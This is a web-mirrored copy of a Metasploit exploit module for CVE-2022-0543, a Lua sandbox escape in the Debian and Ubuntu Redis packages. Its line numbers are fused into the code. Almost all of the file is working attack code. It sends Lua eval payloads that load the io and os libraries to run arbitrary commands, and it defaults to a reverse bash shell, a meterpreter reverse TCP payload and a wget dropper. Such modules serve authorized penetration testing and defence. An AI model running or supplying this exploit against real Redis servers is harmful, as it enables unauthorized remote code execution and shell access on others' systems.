CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::CmdStager10include Msf::Auxiliary::Redis1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Redis Lua Sandbox Escape',17'Description' => %q{18This module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The19vulnerability was introduced by Debian and Ubuntu Redis packages that20insufficiently sanitized the Lua environment. The maintainers failed to21disable the package interface, allowing attackers to load arbitrary libraries.2223On a typical `redis` deployment (not docker), this module achieves execution24as the `redis` user. Debian/Ubuntu packages run Redis using systemd with the25"MemoryDenyWriteExecute" permission, which limits some of what an attacker can26do. For example, staged meterpreter will fail when attempting to use mprotect.27As such, stageless meterpreter is the preferred payload.2829Redis can be configured with authentication or not. This module will work with30either configuration (provided you provide the correct authentication details).31This vulnerability could theoretically be exploited across a few architectures:32i386, arm, ppc, etc. However, the module only supports x86_64, which is likely33to be the most popular version.34},35'License' => MSF_LICENSE,36'Author' => [37'Reginaldo Silva', # Vulnerability discovery and PoC38'jbaines-r7' # Metasploit module39],40'References' => [41[ 'CVE', '2022-0543' ],42[ 'URL', 'https://www.lua.org/pil/8.2.html'],43[ 'URL', 'https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce' ],44[ 'URL', 'https://www.debian.org/security/2022/dsa-5081' ],45[ 'URL', 'https://ubuntu.com/security/CVE-2022-0543' ]46],47'DisclosureDate' => '2022-02-18',48'Platform' => ['unix', 'linux'],49'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],50'Privileged' => false,51'Targets' => [52[53'Unix Command',54{55'Platform' => 'unix',56'Arch' => ARCH_CMD,57'Type' => :unix_cmd,58'Payload' => {},59'DefaultOptions' => {60'PAYLOAD' => 'cmd/unix/reverse_bash'61}62}63],64[65'Linux Dropper',66{67'Platform' => 'linux',68'Arch' => [ARCH_X86, ARCH_X64],69'Type' => :linux_dropper,70'CmdStagerFlavor' => [ 'wget'],71'DefaultOptions' => {72'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'73}74}75]76],77'DefaultTarget' => 0,78'DefaultOptions' => {79'MeterpreterTryToFork' => true,80'RPORT' => 637981},82'Notes' => {83'Stability' => [CRASH_SAFE],84'Reliability' => [REPEATABLE_SESSION],85'SideEffects' => [ARTIFACTS_ON_DISK]86}87)88)89register_options([90OptString.new('TARGETURI', [true, 'Base path', '/']),91OptString.new('LUA_LIB', [true, 'LUA library path', '/usr/lib/x86_64-linux-gnu/liblua5.1.so.0']),92OptString.new('PASSWORD', [false, 'Redis AUTH password', 'mypassword'])93])94end9596# See https://github.com/rapid7/metasploit-framework/pull/1314397def has_check?98true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis99end100101# Use popen to execute the desired command and read back the output. This102# is how the original PoC did it.103def do_popen(cmd)104exploit = "eval '" \105"local io_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_io\"); " \106'local io = io_l(); ' \107"local f = io.popen(\"#{cmd}\", \"r\"); " \108'local res = f:read("*a"); ' \109'f:close(); ' \110"return res' 0" \111"\n"112sock.put(exploit)113sock.get(read_timeout)114end115116# Use os.execute to execute the desired command. This doesn't return any output, and likely117# isn't meaningfully more useful than do_open but I wanted to demonstrate other execution118# possibility not demonstrated by the original poc.119def do_os_exec(cmd)120exploit = "eval '" \121"local os_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_os\"); " \122'local os = os_l(); ' \123"local f = os.execute(\"#{cmd}\"); " \124"' 0" \125"\n"126127sock.put(exploit)128sock.get(read_timeout)129end130131def check132connect133134# Before we get crazy sending exploits over the wire, let's just check if this could135# plausiably be a vulnerable version. Using INFO we can check for:136#137# 1. 4 < Version < 6.1138# 2. OS contains Linux139# 3. redis_git_sha1:00000000140#141# We could probably fingerprint the build_id as well, but I'm worried I'll overlook at142# package somewhere and it's nice to get final verification via exploitation anyway.143info_output = redis_command('INFO')144return Exploit::CheckCode::Unknown('Failed authentication.') if info_output.nil?145return Exploit::CheckCode::Safe('Unaffected operating system') unless info_output.include? 'os:Linux'146return Exploit::CheckCode::Safe('Invalid git sha1') unless info_output.include? 'redis_git_sha1:00000000'147148redis_version = info_output[/redis_version:(?<redis_version>\S+)/, :redis_version]149return Exploit::CheckCode::Safe('Could not extract a version number') if redis_version.nil?150return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) < Rex::Version.new('5.0.0')151return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) >= Rex::Version.new('6.1.0')152return Exploit::CheckCode::Unknown('Unsupported architecture') unless info_output.include? 'x86_64'153154# okay, looks like a worthy candidate. Attempt exploitation.155result = do_popen('id')156return Exploit::CheckCode::Vulnerable("Successfully executed the 'id' command.") unless result.nil? || result[/uid=.+ gid=.+ groups=.+/].nil?157158Exploit::CheckCode::Safe("Could not execute 'id' on the remote target.")159ensure160disconnect161end162163def execute_command(cmd, _opts = {})164connect165166# force the redis mixin to handle auth for us167info_output = redis_command('INFO')168fail_with(Failure::NoAccess, 'The server did not respond') if info_output.nil?169170# escape any single quotes171cmd = cmd.gsub("'", "\\\\'")172173# On success, there is no meaningful response. I think this is okay because we already have174# solid proof of execution in check.175resp = do_os_exec(cmd)176fail_with(Failure::UnexpectedReply, "The server did not respond as expected: #{resp}") unless resp.nil? || resp.include?('$-1')177print_good('Exploit complete!')178ensure179disconnect180end181182def exploit183print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")184case target['Type']185when :unix_cmd186execute_command(payload.encoded)187when :linux_dropper188execute_cmdstager189end190end191end192193194